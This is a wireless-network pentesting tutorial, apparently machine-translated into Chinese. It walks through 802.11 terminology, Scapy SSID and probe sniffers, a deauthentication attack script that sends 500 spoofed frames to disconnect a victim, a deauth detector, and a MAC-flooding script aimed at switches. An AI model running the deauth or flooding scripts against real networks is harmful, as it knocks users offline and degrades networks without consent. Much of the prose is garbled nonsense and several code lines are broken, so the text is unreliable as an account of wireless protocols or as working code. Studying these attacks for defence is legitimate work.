English 中文(简体)
Pentesting of Wireless Network
  • 时间:2024-03-22 17:14:59

Pentesting of Wireless Network


Previous Page Next Page  

无线系统具有很大的灵活性,但另一方面也导致严重的安全问题。 而且,这如何成为严重的安全问题——因为袭击者在无线连接的情况下,才需要获得攻击信号,而不是像无线电网络那样实际进入。 对无线系统的注射测试比在无线网络上做这项工作更容易。 我们不能真正对无线媒体实施良好的实物安全措施,如果我们的位置足够接近,我们就能够“热”(或者至少你的无线调适者能够听到)一切,即空中流动。

Prerequisites

在我们开始更多地了解无线网络的使用之前,让我们考虑讨论术语和客户与无线系统之间的沟通过程。

Important Terminologies

现在,让我们学习有关无线网络使用的重要术语。

Access Point (AP)

进入点是802.11个无线安装的中心点。 这一点用于将用户与网络内的其他用户连接起来,也可作为无线局域网和固定电话网络之间的连接点。 在《世界计划》中,一个机构是传送和接收数据的一个站。

Service Set Identifier (SSID)

它是长篇人类可读文本的0.3-32,基本上被指定为无线网络。 该网络的所有装置都必须使用这一对案件敏感的名称,通过无线网络(Wi-Fi)进行通信。

Basic Service Set Identification (BSSID)

它是Wi-Fi公司的一个无线接入点上的MAC地址。 它是随机产生的。

Channel Number

它是接入点(AP)用于传输的无线电频率范围。

Communication between cpent and the wireless system

我们需要理解的另一个重要事项是客户和无线系统之间的沟通进程。 在以下图表的帮助下,我们可以理解同样的情况:

Cpent and the Wireless System Communication

The Beacon Frame

在客户和接入点之间的沟通过程中,《行动计划》定期发出一个灯塔,显示其存在。 这一框架包含有关SSID、BASSID和频道号码的信息。

The Probe request

如今,客户装置将发出旁边要求,以检查各种工具。 在发出下一份请求之后,它将等待《行动计划》的回复。 请求书载有APSSID等信息,涉及特定性别的信息。

The Probe response

现在,在接到下一份请求后,《行动计划》将发出一份可能的答复,其中载有支持的数据率、能力等信息。

The Authentication request

现在,客户装置将发出包含其身份的认证申请框架。

The Authentication response

如今,《行动计划》将发出表明接受或拒绝的认证答复框架。

The Association request

当认证成功时,客户装置发出了一个包含支持数据率的协会申请框架和APSSID。

The Association response

如今,《行动计划》将发出一个显示接受或拒绝的协会反应框架。 如果接受,将设立客户装置协会。

Finding Wireless Service Set Identifier (SSID) using Python

我们能够利用Scapy图书馆,在原始袖珍方法的帮助下,收集关于SSID的信息。

Raw socket method

我们已经学会了mon0。 收集无线包裹;因此,我们需要将监测方式设定为mon0。 在Kaplav,可以在airmon-ng字母的帮助下进行。 在管理这一文字后,它将给无线卡一个名称wlan1。 现在,在以下指挥机构的帮助下,我们需要能够在mon0上监测模式。

airmon-ng start wlan1

下面是原始的袖珍方法,即给我们的信封——

首先,我们需要进口以下袖珍模块:

import socket

现在,我们将编制一份清单,其中将包含三个参数。 第1项参数告诉我们,包装接口(PF_PACKET, 专用于六氯环己烷,AF_INET用于窗户),第2项参数告诉我们,如果它是一件原始材料,第3项参数告诉我们,我们对所有包装单感兴趣。

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

现在,下行将对mon0具有约束力。 模式和0x0003

s.bind(("mon0", 0x0003))

现在,我们需要宣布一个空洞的清单,它将储存APSSID。

ap_pst = []

现在,我们需要使用recv from ()方法接收包装单。 为使守法者继续下去,我们将在 lo期间使用无限手段。

while True:
   packet = s.recvfrom(2048)

下一行的法典显示,框架是8个标尺,显示信标框架。

if packet[26] == "x80" :
   if packetkt[36:42] not in ap_pst and ord(packetkt[63]) > 0:
      ap_pst.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode( hex )))

SSID sniffer with Scapy

资本是一种最好的图书馆,能够让我们容易地打上Wi-Fi包。 可在上详细了解Scapy。 首先,以互动方式操作Sacpy,并利用指挥会议获得假装的价值。 缺省接口为 eth0。 现在,正如前面的主题一样,我们需要将这一方式改变为mon。 可以采取以下行动:

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

我们现在把Scapy作为图书馆进口。 此外,执行以下“灰色”文字将给我们SSID——

from scapy.all import *

现在,我们需要宣布一个空洞的清单,储存APSSID。

ap_pst = []

现在我们将确定一个名为Packet_info()的职能,该职能将具有完整的包装逻辑。 它将有论点。

def Packet_info(pkt) :

在下一次发言中,我们将采用一种只通过Dot11交通的过滤器,这意味着交通量为802.11。 下面的线是过滤器,该过滤器通过0级(代表管理框架)和8级(代表信标框架)的交通。

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_pst :
         ap_pst.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

现在,电离层功能将数据与iface Valuemon0。 (无线包装)和援引Packet_info功能。

sniff(iface = "mon0", prn = Packet_info)

为了执行上述“灰色”文字,我们需要能够利用监测方式传播空气的Wi-Fi卡。

Detecting Access Point Cpents

为了查明进入点的客户,我们需要抓住今后的请求框架。 我们能够这样做,就像我们在使用Scapy的SSID狙击手的陈词中所做的那样。 我们需要提供Dot11ProbeReq,以获取请求框架。 下面是用来检测进入点客户的灰色文字——

from scapy.all import *

probe_pst = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      cpent_name = pkt.info
      
      if cpent_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, cpent_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_pst.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

Wireless Attacks

从主食的角度来看,了解无线袭击的发生方式非常重要。 在本节中,我们将讨论两类无线袭击——

    反真实性(网络)攻击

    MAC洪水袭击

反真实性(网络)攻击

在客户装置和用户想要脱节的接入点之间的通信过程中,需要发送脱真实性框架。 针对客户的这一框架,《行动计划》还将发出一个真实性框架。 攻击者可以通过支持受害者MAC地址,并将解美框架送交AP,从这一正常过程中获得好处。 由于这一原因,客户与AP之间的联系被缩小。 之后是进行诽谤攻击的“灰色”。

让我们首先把Scapy作为图书馆进口——

from scapy.all import *
import sys

在两次发言之后,将分别向人权和受害者问题核心小组提供意见。

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

现在,我们需要建立非真实性框架。 可以通过执行以下声明来创建。

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

下一行的编码是寄送的包裹总数;这里是500个,两包之间的间隔。

sendp(frame, iface = "mon0", count = 500, inter = .1)

Output

在执行时,上述指挥产生以下产出:

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

之后,建立了代表客户的求助点。 这将取消双方之间的联系。

这里的问题是,我们如何用手法探测到底下的袭击。 击落以下灰色文字将有助于发现这种攻击。

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

在上述文字中,说明pkt.subtype=12表明,全球界定的排位框架和变量一显示了包装的数量。

Output

执行上述文字会产生以下产出:

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

The MAC address flooding attacks

处理洪水攻击事件(海卫会的洪水袭击)是一种网络攻击,其中一名袭击者与一个开关的港口洪水连接起来,转口与大量有不同来源的MAC地址的蚊帐相连接。 甲型六氯环己烷和乙型六氯环己烷在甲型六氯环己烷和乙型六氯环己烷的甲型六氯环己烷中所占的比重大幅上升,而甲型六氯环己烷和乙型六氯环己烷在甲型六氯环己烷中所占的比重则大幅上升。 这导致转向像一个中心,淹没了所有港口的交通网络。 这种攻击非常容易发生。 下面的沙尔文有助于发动这种南极海空攻击。

from scapy.all import *

def generate_packets():
packet_pst = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_pst.append(packet)
return packet_pst

def cam_overflow(packet_pst):
   sendp(packet_pst, iface= wlan )

if __name__ ==  __main__ :
   packet_pst = generate_packets()
   cam_overflow(packet_pst)

这类攻击的主要目的是检查开关的安全。 如果想要减少MAC洪水袭击的影响,我们需要利用港口安全。

Advertisements